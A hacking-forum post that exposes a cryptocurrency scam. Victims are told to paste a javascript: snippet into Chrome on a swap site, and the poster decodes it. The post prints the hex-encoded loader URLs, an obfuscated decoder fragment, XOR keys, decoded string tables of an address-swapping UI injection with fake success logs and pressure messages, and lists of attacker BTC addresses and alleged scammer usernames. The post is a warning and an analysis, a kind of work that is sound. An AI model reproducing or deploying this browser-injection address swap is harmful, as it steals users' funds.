Upgrade your account to access Premium section
Access to DarkForums Private Archive Telegram Channel
Old Telegram is Banned Join our new Telegram Channel

SOURCE CODE Doxing DF scammers
by gggsss - 16-11-25, 08:43 AM
V.I.P Offline
VIP

Posts 14
Threads 4
Joined Sep 2025
Reputation 0
2 Months
#1
16-11-25, 08:43 AM (This post was last modified: 16-11-25, 09:22 AM by gggsss.)
Whatsup fuckers,

today is the day when I was so angry on this scammers so I will dox those bitches.

If you are on dark forums, and someone PMed you about 0 day crypto bullshittery, with swapzone.io, dont do shit!

So basically you will get telegram chat link blah blah blah. There will be google drive link with pdf file with instructions. 

One of DF members using this approach to scam:

Tyrkober, Havyutor, Coltkotol

Pdf instructions:

Go to swapzone - https://swapzone.io

Select BTC and pick the coin you want to receive


Then you will need to load a node and you will need to use google chrome and add to the url javascript: and paste content from url paste.sh like this

https://paste.sh/A5krodbO%232VMkPDeVHe7wzSlXTyXGA0Ho

Going in that shit you will find some js and hex encoded shit…

Like this:


68747470733a2f2f736e69707065742e686f73742f6665636668702f726177

OR


68747470733a2f2f706173746562696e2e646f672f732e706870



Decoding it you will find get link:


https://snippet.host/fecfhp/raw

https://pastebin.dog/s.php

So the script in paste.sh download whatever js is on those hex encoded domains…


Going pn that shitty domain you will find a lot of js bullshit but I wasted my time decrypting shit and I will doxx btc wallets of users:


For pastebin.dog site functionallity code:

Code:
if(gnHSHeFGXhnYY_IsegnYtH['kZvFpU']===undefined){const uqv$kAFue=function(qHs$u_wS){let PoOJNWGdzy$CgsYYlBCcCj=Math.ceil(-parseInt(0xdba))+Number(0x14d2)+parseInt(0x649)*parseFloat(-parseInt(0x1))&Math.max(0x22ab,0x22ab)+0x1b8f*Math.ceil(-parseInt(0x1))+-0x5*parseInt(0x139),q_eBINoPrzVvK=new Uint8Array(qHs$u_wS['match'](/.{1,2}/g)['map'](kamd$cDM$dMboNbqFY=>parseInt(kamd$cDM$dMboNbqFY,-0x3*Math.max(parseInt(0x321),parseInt(0x321))+Math.trunc(-parseInt(0xa))*Math.max(0xf,parseInt(0xf))+0xa09))),YuNrM$UGvm=q_eBINoPrzVvK['map'](RlgpXQhTKKzTdqBHGSGdqgKxA=>RlgpXQhTKKzTdqBHGSGdqgKxA^PoOJNWGdzy$CgsYYlBCcCj),hwXlpzlqUY$mUVQOX=new TextDecoder(),MWaNraBEEBbHyLLUOBKEB=hwXlpzlqUY$mUVQOX['decode'](YuNrM$UGvm);return MWaNraBEEBbHyLLUOBKEB;};gnHSHeFGXhnYY_IsegnYtH['TrZRrZ']=uqv$kAFue,yC_pJGpCPEFJkPICfvfPkvTCGs=arguments,gnHSHeFGXhnYY_IsegnYtH['kZvFpU']=!![];}

Each of thise long strings is xor encoded text.


Xor key = 0xCF or 207 in decimal


Code:
ÃÂ$Ã5bc1q7ulxcpsyyl69tj27f8krrary8e67elr2z42xqnbc1qpn77m55v3qkkh2zr435q4ccv7gvgngraxgquvu0123456789abcdefnone.styles_offer__2Cquj img[alt="ChangeNOW logo"]36UpQCKZrandom.styles_selectedCurrency__1LsMN .styles_usdAmount__1NbgX spanbutton.button.styles_second__2bse8.styles_proceedBtn__3yGvx.styles_submitBtn__22Dp0.styles_best__1iFQcsplithostnamebc1q4wg7wejs3teqg4sskq5uhddv75sjpkqxgnzcl2 BTC
                        <span class="BlocksStyles_tickerNetwork__3m5rE" style="color: rgb(255, 153, 32); border-color: rgb(255, 153, 32);">BTC</span>
                    </div>
                </div>
                <div class="BlocksStyles_field__2WKDK">
                    <span class="BlocksStyles_infoTitle__3PiPR">To this address</span>
                    <div class="BlocksStyles_info__2STzP">
                        <div class="copy-block_container__1140e">
                            <p class="copy-block_label__18Wp6">bc1qxe7z2uu5trvu3t55r7x7qpku59zvyhynq3a3nv290690jCtSOu.styles_container__2CmyA.BlocksStyles_mailBlock__18jYC.styles_price__1neeJBlocksStyles_timeLeft__2IIM4trimtextContentclosestcontainsspan.styles_marksBlock__3w6gQbc1qapa0kmfchka2huz3rpjmjl0efqzmsrvwgayfdptoLowerCase133270vMdhxo.BlocksStyles_timeLeftCounter__1MJKwbc1qzrzrhd85xjqv2gejek2ptg8uetaxj3pfpdec5y112384QdUWyG.BlocksStyles_depositInfoBlock__1wQAUtruehasAttribute575172InIVBVjoinvaluebc1qpr8ppgd24zwaa4sqpnsgefcjjha0xut0mwmctltoString.copy-block_label__18Wp6toLocaleStringquerySelectorpadStartswapzone1110248kKSszE.BlocksStyles_field__2WKDK:nth-child(1) .BlocksStyles_info__2STzPbc1qssdsy74gz48pevwq950s84xgl2gsl8p0hmaul4transaction-loading-overlaynextSiblinghead_0xa1querySelectorAllcharCodeAt
            <div style="text-align: center; width: 300px;">
                <div style="margin-bottom: 30px; font-size: 20px; font-weight: bold;">Processing transaction...</div>
                <div style="width: 40px; height: 40px; border: 4px solid #f3f3f3; border-top: 4px solid #d21680; border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto;"></div>
            </div>
        divbc1qcnw777n89es529ygec43lytld90pde68ekawvvbc1qsfmp2f6md8rwapf5339qaqgd7qd5susgg0rka4bc1qp7wt3942j5mwpvd9uqh6mrmdd4eg8aka0fewjm.BlocksStyles_timeLeft__2IIM4includesbc1q0ndll2j5sd5fju70knv59pxf5ayl5gkurv9dgzbc1qtv8mjlekplj0857xsgpau7pwq5fwnmw5vuhrz9pushState350067IHglla38328OrAldabc1qxvsj5tlpe69dlxfzt8wj44vj7h94c37vr37tnrbc1qe9j3852yufczlf9xjh22qrp5knmhltnh6ckhn6bc1qa28hevuqq8hx2wym9w0fuzxpl2tjpa0ua66pkzBlocksStyles_depositInfoBlock__1wQAUbc1q9zcqp2l545pjhv9hj7myshcuzwn8x5m9tyjllzforEachbc1qcf3vz0tav2kehgxzfzaurn4zfntslca86l336wbc1qmhph3hryk2da3r585f089fhsd0hvfdgqccg0lvhttps://api.qrserver.com/v1/create-qr-code/?size=150x150&data=bitcoin:.styles_priceAmountUsd__13N6m
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: #101010;
            z-index: 999999;
            display: flex;
            justify-content: center;
            align-items: center;
            color: white;
            font-size: 18px;
            font-family: Arial, sans-serif;
        innerHTMLclassNamepushbc1q4rzfk7ql2wtcl5ecj7czdprykrrhrupln353unhrefclipboardcssText?amount=documentElementfilter</p>
                            <button class="copy-block_button__3L9vj">
                                <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg" style="color: rgb(37, 183, 235); cursor: pointer;">
                                    <path d="M5.27059 2.16675C5.1546 2.16675 5.04336 2.21282 4.96134 2.29484C4.87933 2.37686 4.83325 2.48809 4.83325 2.60408V4.14408C4.83325 4.27669 4.78057 4.40387 4.68681 4.49763C4.59304 4.5914 4.46586 4.64408 4.33325 4.64408C4.20064 4.64408 4.07347 4.5914 3.9797 4.49763C3.88593 4.40387 3.83325 4.27669 3.83325 4.14408V2.60408C3.83325 1.81075 4.47659 1.16675 5.27059 1.16675H13.3959C14.1893 1.16675 14.8333 1.81008 14.8333 2.60408V10.7294C14.8333 11.5227 14.1899 12.1667 13.3959 12.1667H11.8386C11.706 12.1667 11.5788 12.1141 11.485 12.0203C11.3913 11.9265 11.3386 11.7994 11.3386 11.6667C11.3386 11.5341 11.3913 11.407 11.485 11.3132C11.5788 11.2194 11.706 11.1667 11.8386 11.1667H13.3959C13.5119 11.1667 13.6231 11.1207 13.7052 11.0387C13.7872 10.9566 13.8333 10.8454 13.8333 10.7294V2.60408C13.8333 2.48809 13.7872 2.37686 13.7052 2.29484C13.6231 2.21282 13.5119 2.16675 13.3959 2.16675H5.27059Z" fill="currentColor"></path>
                                    <path d="M1.16663 5.27083C1.16663 4.4775 1.80996 3.8335 2.60396 3.8335H10.7293C11.5226 3.8335 12.1666 4.47683 12.1666 5.27083V13.3962C12.1666 14.1895 11.5233 14.8335 10.7293 14.8335H2.60396C2.22275 14.8335 1.85716 14.6821 1.58761 14.4125C1.31806 14.143 1.16663 13.7774 1.16663 13.3962V5.27083ZM2.60396 4.8335C2.48797 4.8335 2.37673 4.87957 2.29472 4.96159C2.2127 5.0436 2.16663 5.15484 2.16663 5.27083V13.3962C2.16663 13.6375 2.36263 13.8335 2.60396 13.8335H10.7293C10.8453 13.8335 10.9565 13.7874 11.0385 13.7054C11.1206 13.6234 11.1666 13.5122 11.1666 13.3962V5.27083C11.1666 5.15484 11.1206 5.0436 11.0385 4.96159C10.9565 4.87957 10.8453 4.8335 10.7293 4.8335H2.60396Z" fill="currentColor"></path>
                                </svg>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div class="BlocksStyles_qrCode__3gwiK">
                <img src="remove.BlocksStyles_leftSideBlock__25AKG.BlocksStyles_rightSideBlock__rK5lUtoFixedstopPropagation
            @keyframes spin {
                0% { transform: rotate(0deg); }
                100% { transform: rotate(360deg); }
            }
       
                <span class="BlocksStyles_timeLeftTitle__21npt">Time left</span>
                <span class="BlocksStyles_timeLeftCounter__1MJKw">btc[SUCCESS] Initializing secure node handshake...
[SUCCESS] Loading core module from: https://swapzone.io/exchange/nodes/changenow/btc/node-1.9.js
[SUCCESS] Verifying module integrity...
[SUCCESS] Checksum validation passed. Finalizing handshake...
[SUCCESS] Node successfully injected and operational.
[INFO] This script is part of a developer testing suite.
[INFO] Found issues? Report to: support@swapzone.io
[INFO] By using this node, you agree to the Terms of Use and AML Policy.
[INFO] Terms of Use: https://swapzone.io/docs/terms
[INFO] AML Policy: https://swapzone.io/media/aml-policy.pdf_0xc4.BlocksStyles_orderIdCopy__H7Oyl .copy-block_label__18Wp6.BlocksStyles_route__34jzF .BlocksStyles_text__3In5_clickappendChilddisplaybc1qdfa7u5qeqaqtrps872jksuc2ffwhk02ch8ds6m_0xc2img[alt="ChangeNOW logo"].styles_selectedCurrency__1HycT input.styles_inputAmount__1SJmVreplacelocationen-USbc1qm6pskrax67c8tthzg658mswrkq26pjdlafh6vvbody.copy-block_button__3L9vjstyle.styles_route__2_QDt .styles_text__eS8V17PrQlLv[data-custom="true"]https://swapzone.iodata-custom.BlocksStyles_titleDepositBlock__2Bju9.styles_usdAmount__19n2u spanbc1q9sddm4wlwa5l54vs7p3gkzt2al33k873qnqkyy3m9au4fgetElementById.BlocksStyles_price__1f1QqparentNodeinsertBefore_0xc1length.styles_selectedCurrency__1LsMN input.styles_inputAmount__8JjRJfrom
            <div class="BlocksStyles_depositInfo__2KCIa">
                <div class="BlocksStyles_field__2WKDK">
                    <span class="BlocksStyles_infoTitle__3PiPR">Amount</span>
                    <div class="BlocksStyles_info__2STzP">
                        data-custom-listener</span>
            .styles_selectedCurrency__1LsMN .styles_ticker__saVyYBEST RATE<span class="styles_savings___dytb">Save up to 38.05%</span>.styles_offer__2Cquj.styles_rateNumber__3evDLbc1q6t30lvfh33e5u3p2dsuv93qqjsra80ewzez37m/transactionbc1qtctkgq3qekd0v3leckzcwz35qgr05eam0k6as2createElementA change in the deposit address has been detected. For your security, please restart the process to ensure a safe transaction.styles_wrapper__2fbTP styles_best__1iFQcsetAttribute1Nndyufbc1qyl430t7d6gkgr34rc4rtxxxkyhy2amsfmqcgudhistorybc1qjs3czs5urxef7ed3r4kzsenxxd9csy6u6en2kapreventDefault.styles_iconBack__3SAHOflooraddEventListenerabsbc1qkzqhhn48vdcp244dd0wrr27jt9agavcffk4hdj" alt="QR Code" style="height: 141px; width: 141px;">
            </div>
        bc1qfxwxfmfct5edmwnhe2995fkaj3504u0em9dtdw.styles_selectedCurrency__1HycT .styles_usdAmount__19n2u spanwriteText
Code:
The obfuscated loader decodes to a script that injects a full deposit UI (amount, QR code, “Time left”, processing animation).
    •    It loads a remote module from https://swapzone.io/exchange/nodes/changenow/btc/node-1.9.js (this is the script the loader tries to pull). That remote JS is then fetched and executed.
    •    The injection includes many bitcoin deposit addresses (bc1q…), QR generator URL, and text encouraging the user to send BTC. Many of the addresses appear in the decoded strings — typical behavior for a page that rotates or replaces a “deposit address” with an attacker address.
    •    There’s social-engineering text: “Processing transaction…”, “A change in the deposit address has been detected. For your security, please restart the process…”, etc. These are used to pressure users to act and not double-check the address.
    •    It references “ChangeNOW logo” and swap UI CSS selectors — it’s impersonating a legitimate swap interface. That’s classic deposit address swap / invoice replacement malware or malicious injected script.

Btc wallet addresses…
Code:
Bitcoin (bech32) addresses found
    1.    bc1q4wg7wejs3teqg4sskq5uhddv75sjpkqxgnzcl2
    2.    bc1qpr8ppgd24zwaa4sqpnsgefcjjha0xut0mwmctl
    3.    bc1qcnw777n89es529ygec43lytld90pde68ekawvv
    4.    bc1qsfmp2f6md8rwapf5339qaqgd7qd5susgg0rka4
    5.    bc1qfxwxfmfct5edmwnhe2995fkaj3504u0em9dtdw
    6.    bc1q4rzfk7ql2wtcl5ecj7czdprykrrhrupln353un
    7.    bc1qxe7z2uu5trvu3t55r7x7qpku59zvyhynq3a3nv29 (partial/truncated in the paste — verify full address if you have the full decoded text)
    8.    bc1qapa0kmfchka2huz3rpjmjl0efqzmsrvwgayfdpto
    9.    bc1qzrzrhd85xjqv2gejek2ptg8uetaxj3pfpdec5y
    10.    bc1qcf3vz0tav2kehgxzfzaurn4zfntslca86l336w
    11.    bc1qmhph3hryk2da3r585f089fhsd0hvfdgqccg0lv
    12.    bc1q0ndll2j5sd5fju70knv59pxf5ayl5gkurv9dgz
    13.    bc1qtv8mjlekplj0857xsgpau7pwq5fwnmw5vuhrz9


Snippet host (ACTIVE) website revrsing:
Obfuscation/encoding part

Code:
let RtIQiVxCPhEKV_pVlpFb_r =
  0x2624 + 0x2 * 0x8be - parseInt(0x36ed) &
  -0x2 * parseFloat(0xb82) + Number(0x38b) * -0x4 + 0x262f;


Code:
let Rt = (0x2624 + 0x2 * 0x8be - parseInt(0x36ed)) &
         (-0x2 * parseFloat(0xb82) + Number(0x38b) * -0x4 + 0x262f);



XOR KEY: 0xB3 or 179 decimal


Decode part:

Code:
418299ZtgoiLdata-custom-listenerwriteText.BlocksStyles_depositInfoBlock__1wQAUquerySelectorjoin.BlocksStyles_route__34jzF .BlocksStyles_text__3In5_bc1qxj0pqk40zn7jd5xewryad0kts94ahdee782jy7bc1qjpzjas0tcf78zk5pj6527azne9gfxga4p3k8ucbc1qztjnpdwr86gc6yglx2qhaptdsm86y47eewugvyabsbc1qr0ktae3vac6n5gangvkm2j3j2kqpry54yp2laainnerHTMLtruebutton.button.styles_second__2bse8.styles_proceedBtn__3yGvx.styles_submitBtn__22Dp0bc1q3ug5udp6k32j8rpm584ry388evdq5rq22s9muj0123456789abcdef72EnmFDmbc1q0cdfvsqek9r2faz2psqxxnqw2m8lau9yy3q2xrhttps://swapzone.ionone</span>
            cssText.styles_marksBlock__3w6gQimg[alt="ChangeNOW logo"]headfloor54NSCjCntoLocaleStringclosest.styles_selectedCurrency__1HycT input.styles_inputAmount__1SJmVbc1qakthvkreyfnglfkaqmkpl9ewz45atsvzkcvt7nbc1qj40v9q85rd27zvmtmuyxu2ymyyxkx5fy4dh7thbc1qagxll0eh8ay2wlcc7v5qatska4wnkej96wg5ye661529XdzOZabodyforEach.styles_selectedCurrency__1LsMN .styles_usdAmount__1NbgX spanreplaceswapzonetoString.copy-block_label__18Wp6</p>
                            <button class="copy-block_button__3L9vj">
                                <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg" style="color: rgb(37, 183, 235); cursor: pointer;">
                                    <path d="M5.27059 2.16675C5.1546 2.16675 5.04336 2.21282 4.96134 2.29484C4.87933 2.37686 4.83325 2.48809 4.83325 2.60408V4.14408C4.83325 4.27669 4.78057 4.40387 4.68681 4.49763C4.59304 4.5914 4.46586 4.64408 4.33325 4.64408C4.20064 4.64408 4.07347 4.5914 3.9797 4.49763C3.88593 4.40387 3.83325 4.27669 3.83325 4.14408V2.60408C3.83325 1.81075 4.47659 1.16675 5.27059 1.16675H13.3959C14.1893 1.16675 14.8333 1.81008 14.8333 2.60408V10.7294C14.8333 11.5227 14.1899 12.1667 13.3959 12.1667H11.8386C11.706 12.1667 11.5788 12.1141 11.485 12.0203C11.3913 11.9265 11.3386 11.7994 11.3386 11.6667C11.3386 11.5341 11.3913 11.407 11.485 11.3132C11.5788 11.2194 11.706 11.1667 11.8386 11.1667H13.3959C13.5119 11.1667 13.6231 11.1207 13.7052 11.0387C13.7872 10.9566 13.8333 10.8454 13.8333 10.7294V2.60408C13.8333 2.48809 13.7872 2.37686 13.7052 2.29484C13.6231 2.21282 13.5119 2.16675 13.3959 2.16675H5.27059Z" fill="currentColor"></path>
                                    <path d="M1.16663 5.27083C1.16663 4.4775 1.80996 3.8335 2.60396 3.8335H10.7293C11.5226 3.8335 12.1666 4.47683 12.1666 5.27083V13.3962C12.1666 14.1895 11.5233 14.8335 10.7293 14.8335H2.60396C2.22275 14.8335 1.85716 14.6821 1.58761 14.4125C1.31806 14.143 1.16663 13.7774 1.16663 13.3962V5.27083ZM2.60396 4.8335C2.48797 4.8335 2.37673 4.87957 2.29472 4.96159C2.2127 5.0436 2.16663 5.15484 2.16663 5.27083V13.3962C2.16663 13.6375 2.36263 13.8335 2.60396 13.8335H10.7293C10.8453 13.8335 10.9565 13.7874 11.0385 13.7054C11.1206 13.6234 11.1666 13.5122 11.1666 13.3962V5.27083C11.1666 5.15484 11.1206 5.0436 11.0385 4.96159C10.9565 4.87957 10.8453 4.8335 10.7293 4.8335H2.60396Z" fill="currentColor"></path>
                                </svg>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
            <div class="BlocksStyles_qrCode__3gwiK">
                <img src="span1334320uHzulQvaluebc1q0l7vuule3dml4e3y5qr4j7n5gcmuzv5dt705uc.styles_best__1iFQctextContentincludestoLowerCasebc1qp6ll4mt28yvz0w2w4kkv9ey8c87v9fffad5s5e.BlocksStyles_field__2WKDK:nth-child(1) .BlocksStyles_info__2STzPstyle.BlocksStyles_titleDepositBlock__2Bju9displayhostnamestopPropagation/transactionpadStart.styles_selectedCurrency__1LsMN input.styles_inputAmount__8JjRJpush.BlocksStyles_leftSideBlock__25AKG.styles_iconBack__3SAHO BTC
                        <span class="BlocksStyles_tickerNetwork__3m5rE" style="color: rgb(255, 153, 32); border-color: rgb(255, 153, 32);">BTC</span>
                    </div>
                </div>
                <div class="BlocksStyles_field__2WKDK">
                    <span class="BlocksStyles_infoTitle__3PiPR">To this address</span>
                    <div class="BlocksStyles_info__2STzP">
                        <div class="copy-block_container__1140e">
                            <p class="copy-block_label__18Wp6">bc1q2rndagxn6z4tv6vlwqxne4kxzr0ws0mlgddx22location
            <div style="text-align: center; width: 300px;">
                <div style="margin-bottom: 30px; font-size: 20px; font-weight: bold;">Processing transaction...</div>
                <div style="width: 40px; height: 40px; border: 4px solid #f3f3f3; border-top: 4px solid #d21680; border-radius: 50%; animation: spin 1s linear infinite; margin: 0 auto;"></div>
            </div>
        lengthdata-custombc1qpauwktkqtmdpqd9yh5nu7kffpzt087almrgs70hasAttributeBlocksStyles_timeLeft__2IIM45744505IbtXaAtransaction-loading-overlaypreventDefaultBlocksStyles_depositInfoBlock__1wQAUhttps://api.qrserver.com/v1/create-qr-code/?size=150x150&data=bitcoin:bc1qlh4s63te8qjrjxgzdjuk64dk5y007ptca94vs5" alt="QR Code" style="height: 141px; width: 141px;">
            </div>
        bc1qacemfaxlvk3kjtlpv0ah7nacl0tjxs6h873up8.styles_route__2_QDt .styles_text__eS8V1.styles_selectedCurrency__1LsMN .styles_ticker__saVyYhistory.styles_priceAmountUsd__13N6m_0xc1bc1q06m7kz66e9n6e5qfgg43gt8knt6pndn2garhj7containsbc1qc75lesq69ud6usheejn4fshed7vl9rctvwc0ffhrefclassName.BlocksStyles_price__1f1QqrandomparentNodetoFixed.BlocksStyles_rightSideBlock__rK5lU.styles_price__1neeJ
            <div class="BlocksStyles_depositInfo__2KCIa">
                <div class="BlocksStyles_field__2WKDK">
                    <span class="BlocksStyles_infoTitle__3PiPR">Amount</span>
                    <div class="BlocksStyles_info__2STzP">
                        bc1qx79t8dlflu3sp8cylssqgdlp9egjs749p5jelu.styles_rateNumber__3evDL.styles_container__2CmyA.BlocksStyles_mailBlock__18jYC.copy-block_button__3L9vjbc1qs9t5mdt9nl6as7cw073gs7vdsfuuzfvs7uu635trim74fyBTlUgetElementByIdbc1qgagl96h695pq04f324he949v2akwq7y89c7k57.styles_selectedCurrency__1HycT .styles_usdAmount__19n2u spanquerySelectorAllnextSibling?amount=
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: #101010;
            z-index: 999999;
            display: flex;
            justify-content: center;
            align-items: center;
            color: white;
            font-size: 18px;
            font-family: Arial, sans-serif;
        bc1qyns4quprl6kef4uluz3ka0jk0eujlqmugc5clufrom276znMjolf1rap5v6389kPaCVebc1qr8emvkzwfqvrsh42mp8qa6q4672p0z70mzckg9
            @keyframes spin {
                0% { transform: rotate(0deg); }
                100% { transform: rotate(360deg); }
            }
        documentElementfilterpushState.BlocksStyles_timeLeft__2IIM482364uMWKNosetAttributebc1qmkfm33c3j5thrut00ke2astunr8xjukpgxmcrh_0xc2div_0xc4click
                <span class="BlocksStyles_timeLeftTitle__21npt">Time left</span>
                <span class="BlocksStyles_timeLeftCounter__1MJKw">[data-custom="true"]removeen-USA change in the deposit address has been detected. For your security, please restart the process to ensure a safe transaction.[SUCCESS] Initializing secure node handshake...
[SUCCESS] Loading core module from: https://swapzone.io/exchange/nodes/changenow/btc/node-1.9.js
[SUCCESS] Verifying module integrity...
[SUCCESS] Checksum validation passed. Finalizing handshake...
[SUCCESS] Node successfully injected and operational.
[INFO] This script is part of a developer testing suite.
[INFO] Found issues? Report to: support@swapzone.io
[INFO] By using this node, you agree to the Terms of Use and AML Policy.
[INFO] Terms of Use: https://swapzone.io/docs/terms
[INFO] AML Policy: https://swapzone.io/media/aml-policy.pdfbc1qkch42rsav8s3c9ue2mwjlj0u3zldl3re2uzqmmbc1qhexq7dg5p7qtrst93pavckuy04edcw7q6gp9zginsertBeforestyles_wrapper__2fbTP styles_best__1iFQc.styles_offer__2Cquj1208796DcwJVWaddEventListenerbc1qc055h4ar4lytvftvtl500jx78huzh6tsd75vex.BlocksStyles_timeLeftCounter__1MJKwappendChildBEST RATE<span class="styles_savings___dytb">Save up to 38.05%</span>_0xa187dfhvewsplitcreateElementbtc.styles_offer__2Cquj img[alt="ChangeNOW logo"]charCodeAtclipboard.BlocksStyles_orderIdCopy__H7Oyl .copy-block_label__18Wp6bc1qzupwrngn3qmqjjyhgzmuvacxhc2a2ta8vlxqt2bc1qqjj2yagt6hwkfggrhgwgk59hsrlnzx9wxrkw6mbc1qxdd8atyreyvlquztn5p98qj56y5q78lyvuw5cu


BTC ADRESSES FROM THIS:

Code:
bc1qxj0pqk40zn7jd5xewryad0kts94ahdee782jy7
bc1qjpzjas0tcf78zk5pj6527azne9gfxga4p3k8uc
bc1qztjnpdwr86gc6yglx2qhaptdsm86y47eewugvya
bc1qr0ktae3vac6n5gangvkm2j3j2kqpry54yp2laa
bc1q3ug5udp6k32j8rpm584ry388evdq5rq22s9muj
bc1q0cdfvsqek9r2faz2psqxxnqw2m8lau9yy3q2xr
bc1qakthvkreyfnglfkaqmkpl9ewz45atsvzkcvt7n
bc1qj40v9q85rd27zvmtmuyxu2ymyyxkx5fy4dh7th
bc1qagxll0eh8ay2wlcc7v5qatska4wnkej96wg5ye6
bc1q2rndagxn6z4tv6vlwqxne4kxzr0ws0mlgddx22
bc1qpauwktkqtmdpqd9yh5nu7kffpzt087almrgs70
bc1qlh4s63te8qjrjxgzdjuk64dk5y007ptca94vs5
bc1qacemfaxlvk3kjtlpv0ah7nacl0tjxs6h873up8
bc1q06m7kz66e9n6e5qfgg43gt8knt6pndn2garhj7
bc1qc75lesq69ud6usheejn4fshed7vl9rctvwc0ff
bc1qx79t8dlflu3sp8cylssqgdlp9egjs749p5jelu
bc1qs9t5mdt9nl6as7cw073gs7vdsfuuzfvs7uu635
bc1qgagl96h695pq04f324he949v2akwq7y89c7k57
bc1qyns4quprl6kef4uluz3ka0jk0eujlqmugc5clu
bc1qr8emvkzwfqvrsh42mp8qa6q4672p0z70mzckg9
bc1qmkfm33c3j5thrut00ke2astunr8xjukpgxmcrh
bc1qkch42rsav8s3c9ue2mwjlj0u3zldl3re2uzqmm
bc1qhexq7dg5p7qtrst93pavckuy04edcw7q6gp9zg
bc1qc055h4ar4lytvftvtl500jx78huzh6tsd75vex
bc1qzupwrngn3qmqjjyhgzmuvacxhc2a2ta8vlxqt2
bc1qqjj2yagt6hwkfggrhgwgk59hsrlnzx9wxrkw6m
bc1qxdd8atyreyvlquztn5p98qj56y5q78lyvuw5cu


Other urls from this

Code:
https://swapzone.io
https://api.qrserver.com/v1/create-qr-code/?size=150x150&data=bitcoin:bc1qlh4s63te8qjrjxgzdjuk64dk5y007ptca94vs5
https://swapzone.io/exchange/nodes/changenow/btc/node-1.9.js
https://swapzone.io/docs/terms
https://swapzone.io/media/aml-policy.pdf


Good luck guys stay safe  Kisses Bewbs
Reply


Forum Jump:


 Users browsing this thread: 1 Guest(s)